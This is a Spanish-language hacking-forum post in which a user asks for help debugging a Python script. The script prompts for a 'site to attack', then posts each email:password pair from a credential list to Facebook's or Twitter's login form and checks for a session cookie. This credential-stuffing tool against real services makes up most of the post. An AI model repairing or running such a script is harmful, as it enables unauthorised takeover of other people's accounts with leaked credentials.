elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


  Mostrar Temas
Páginas: [1]
1  Programación / Scripting / AYUDA: Brute Force Con Python en: 12 Diciembre 2017, 03:32 am
AYUDA! El Problema Es Que Me Da Este Error: "assert response.status_code == 302 AssertionError" Y Si Arreglo El Error Quitando El Assert Me Da Este: "assert 'c_user' in response.cookies"

Código
  1. import requests
  2.  
  3. fb = 'facebook'
  4. tt = 'twitter'
  5.  
  6. print('\n===========================================\n')
  7. print(fb, tt)
  8. print('\n===========================================\n')
  9. sit = input("Dominio del sitio a atacar: " )
  10. print('\n===========================================\n')
  11. log = input("Tipo del login del dominio/login.html: ")
  12. print('\n===========================================\n')
  13.  
  14. # Redes Y Lugares Donde Probar
  15. if sit == fb:
  16.    sit = 'https://www.facebook.com'
  17.    if log == '':
  18.        log = '/login.php'
  19.    TE = 'email'
  20.    TP = 'pass'
  21. elif sit == tt:
  22.    sit = 'https://www.twitter.com'
  23.    if log == '':
  24.        log = '/login.html'
  25.  
  26.    # TE, TP es el nombre del recuadro username y password
  27.  
  28.    TE = 'session[username_or_email]'
  29.    TP = 'session[password]'
  30. sit = sit+log
  31.  
  32. def login(session, email, password):
  33.    response = session.post(sit, data={
  34.        TE: email,
  35.        TP: password
  36.    }, allow_redirects=False)
  37.    assert response.status_code == 302
  38.    assert 'c_user' in response.cookies
  39.    return response.cookies
  40.  
  41. with open("Lista De Correos Y Contraseñas") as f:
  42.    for line in f:
  43.        correos, pwd = line.split(':')
  44.  
  45.        # Aqui las contraseñas estan unidas por un ':'
  46.        # Por eso el split
  47.  
  48.        session = requests.session()
  49.        cookies = login(session, correos, pwd)
  50.        response = session.get(sit, cookies=cookies,
  51.         _allow_redirects = False)
  52.    assert response.text.find('Home') != -1
  53.  

Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines